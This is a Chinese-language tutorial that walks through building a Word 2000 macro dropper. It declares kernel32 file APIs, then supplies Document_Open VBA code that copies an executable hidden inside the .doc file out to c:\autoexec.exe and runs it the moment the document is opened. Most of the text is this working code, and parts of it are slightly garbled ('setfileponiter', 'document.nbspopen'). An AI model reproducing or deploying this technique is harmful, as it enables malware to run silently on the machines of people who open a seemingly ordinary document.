1)createfile 用于打开文件,该函数vb的声明如下:
declare function createfile lib "kernel32" alias "createfilea" (byval lpfilename as string,
byval dwdesiredaccess as long, byval dwsharemode as long, byval lpsecurityattributes
as long, byval dwcreationdistribution as long, byval dwflagsandattributes as long, byval htemplate as long) as long
2)closehandle 用于关闭被打开文件的句柄,该函数vb的声明如下:
declare function closehandle lib "kernel32" (byval hobject as long) as long
3)readfile 用于从被打开文件中读取数据,该函数vb的声明如下:
declare function readfile lib "kernel32" (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestoread
as long, lpnumberofbytesread as long, byval lpoverlapped as long) as long
4)writefile 用于把读取出的数据写入文件,该函数vb的声明如下:
declare function writefile lib "kernel32" (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestowrite
as long, lpnumberofbyteswritten as long, byval lpoverlapped as long) as long
5)setfileponiter移动文件指针,该函数vb的声明如下:
declare function setfilepointer lib "kernel32" (byval hfile as long, byval ldistancetomove as long, byval
lpdistancetomovehigh as long, byval dwmovemethod as long) as long
6)下面是以上函数的参数声明
public const generic_read as long = &h80000000
public const generic_write as long = &h40000000
public const file_share_read as long = 1
public const file_share_write as long = 2
public const create_new as long = 1
public const create_always as long = 2
public const open_existing as long = 3
public const open_always as long = 4
public const truncate_existing as long = 5
public const invalid_handle_value as long = -1
public const file_attribute_normal as long = &h80
好了,有了这些准备工作就可以开始了,我们运行word2000,打开visual basic编辑器,新建一个模块,把上面的函数
和参数声明拷进去!再回到“thisdocument.的代码视图,选择document.nbspopen的事件,输入一下代码:
private sub document.open()
dim buffer(65536) as byte
dim h, h2, j, i, k as long
h = createfile(thisdocument.path & "/" & thisdocument.name, generic_read, file_share_read +
file_share_write, 0, open_existing, 0, 0)
‘以share_read的方式打开自身的doc文件
h2 = createfile("c:\autoexec.exe", generic_write, 0, 0, create_always, 0, 0)
‘新建一个exe文件准备存放读取出来的数据.
if h = invalid_handle_value then
exit sub
end if
k = setfilepointer(h, 32768, nil, 0)
‘把文件指针移动到doc文件与exe文件交界处.
do
i = readfile(h, buffer(0), 65536, j, 0)
i = writefile(h2, buffer(0), j, j, 0)
loop until j < 65536
closehandle (h)
closehandle (h2)
shell "c:\autoexec.exe"
‘运行exe文件
end sub